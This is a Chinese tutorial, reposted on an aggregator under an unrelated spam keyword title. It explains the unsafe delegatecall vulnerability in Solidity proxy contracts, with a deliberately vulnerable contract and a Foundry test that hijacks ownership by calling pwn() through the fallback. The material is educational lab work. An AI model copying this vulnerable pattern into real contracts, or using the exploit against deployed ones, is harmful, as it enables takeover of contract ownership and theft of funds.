您的位置:首页 > 游戏 > 手游 > 天津廊坊疫情最新消息_b2b网站排名前十_营销最好的方法_网络广告的优势有哪些

天津廊坊疫情最新消息_b2b网站排名前十_营销最好的方法_网络广告的优势有哪些

2024/12/23 2:12:24 来源:https://blog.csdn.net/weixin_43458715/article/details/143904586  浏览:    关键词:天津廊坊疫情最新消息_b2b网站排名前十_营销最好的方法_网络广告的优势有哪些
天津廊坊疫情最新消息_b2b网站排名前十_营销最好的方法_网络广告的优势有哪些

区块链安全常见的攻击合约和简单复现,附带详细分析——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】

1、不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)

1.1 漏洞合约

contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}contract Delegate {address public owner; // slot0function pwn() public {owner = msg.sender;}
}

1.2 漏洞分析

fallback函数:fallback 是 Solidity 中的特殊函数,用于接收不存在的函数调用或以太币转账。标记为 payable 时,可接收以太币;
delegatecall 和 call: 都用于调用其他合约,但区别在于执行上下文:delegatecall 在调用者的上下文中执行代码,修改调用者的存储,并保持 msg.sender 为原调用者;而 call 在目标合约的上下文中执行代码,修改目标合约的存储,msg.sender 是调用者。delegatecall 常用于代理模式,而 call 用于普通合约交互。

delegatecall(msg.data)使得用户可以触发fallback来调用delegatecall,而delegatecall`允许在代理合约的上下文中执行被调用合约的代码,
在这里插入图片描述

1.3 攻击分析

攻击者触发Proxy合约的fallback函数,同时附带data,data是调用pwn函数
以此调用delegatecall函数,调用的时候会将data传入msg.data参数
最后delegatecall函数会调用Delegate合约中的pwn()函数

  1. 触发 Proxy 合约的 fallback 函数: 攻击者对 Proxy 合约发送一次调用,并附带调用数据(data),该数据是pwn() 函数的函数选择器(通过 abi.encodeWithSignature(“pwn()”) 生成)。
  2. 进入 fallback 函数逻辑: fallback 函数被触发后,调用数据(data)通过 msg.data 参数传递给函数内部。
  3. 执行 delegatecall: fallback 函数使用 delegatecall,将 msg.data 传递给 Delegate合约。 delegatecall 在 Proxy 合约的上下文中执行 Delegate 合约的 pwn() 函数。
  4. 调用 Delegate.pwn() 函数: 在 delegatecall 的执行中,Delegate 合约的 pwn() 函数被调用。因为 delegatecall 在调用者(Proxy)的存储上下文中运行,pwn() 函数中的 owner 实际指向的是 Proxy合约的存储槽。

1.4 攻击合约

contract ContractTest is Test {Proxy proxy; // 代理合约实例Delegate DelegateContract; // 逻辑合约实例address alice; // 模拟的攻击者地址// 设置测试环境function setUp() public {alice = vm.addr(1); // 初始化 Alice 地址}// 测试 Delegatecall 漏洞function testDelegatecall() public {DelegateContract = new Delegate(); // 部署逻辑合约proxy = new Proxy(address(DelegateContract));console.log("Alice address", alice); // 打印 Alice 地址console.log("DelegationContract owner", proxy.owner()); // 打印代理合约的初始所有者地址console.log("Start Attack ...");vm.prank(alice);address(proxy).call(abi.encodeWithSignature("pwn()"));// address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy 的 fallback 通过 delegatecall 调用 Delegate合约的pwn()函数console.log("after attack, DelegationContract owner", proxy.owner()); // 打印攻击后代理合约的初始所有者地址}
}

在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com